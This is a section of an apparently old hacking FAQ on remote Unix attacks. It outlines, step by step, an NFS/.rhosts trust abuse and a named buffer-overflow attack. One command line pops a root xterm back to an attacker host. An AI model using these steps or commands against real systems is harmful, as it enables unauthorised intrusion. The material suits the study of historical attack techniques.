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<H2><A NAME="unixremoteattacks"></A> <A NAME="s27">27. Unix Remote Attacks</A></H2>
<P>This section deals with hacking Unix systems remotely.
<P>
<H2><A NAME="ss27.1">27.1 What are remote hacks?</A>
</H2>
<P>A remote hack is when you attack the server you are not logged into. Usually this is done
from another server, although in some cases you can do it from a regular PC (depending on
the operating system).
<P>Guessing a user account and password (unless it is a guest account) on a remote system is
BARELY considered a "remote hack", so we'll not really cover that. We'll assume you don't
know an account name and password on the remote system.
<P>Remote hacks come in a couple of different flavors. Usually exploiting an existing service
running on the victim's server (which is misconfigured or allows too much access) is the
typical exploit. Exporting an NFS mount read/write to anyone might not be a bad thing, but
if you can NFS mount directories containing .rhosts files, then it can be a very bad thing.
Also, certain daemons running might be subject to buffer overflows remotely, allowing someone
from a remote location run arbitrary commands on the victim's server.
<P>Here are a couple of examples:
<P>
<PRE>
- You are root on a host named badguy.
- You discover the host victim is exporting /home2/old read/writable to the world.
- You also discover by fingering various accounts that user fred's home directory is
/home2/old/fred and he hasn't logged in for months.
- Quickly, you create a fred account on badguy.
- Now you mount /home2/old and create an .rhosts file to establish trust with badguy.
- After you become fred on badguy, you rlogin to victim as fred.
</PRE>
<P>Here's another attack involving a buffer overflow:
<P>
<PRE>
- This remote system is running named.
- You have written a named exploit that allows you to send arbitrary commands through
the named daemon. It does a buffer overflow trick, you compile it and name it sploit.
- You type: sploit victim.nmrc.org "/usr/X11R6/bin/xterm -display badguy.whatever:0"
- A window appears on your terminal that is running as root on victim.nmrc.org.
</PRE>
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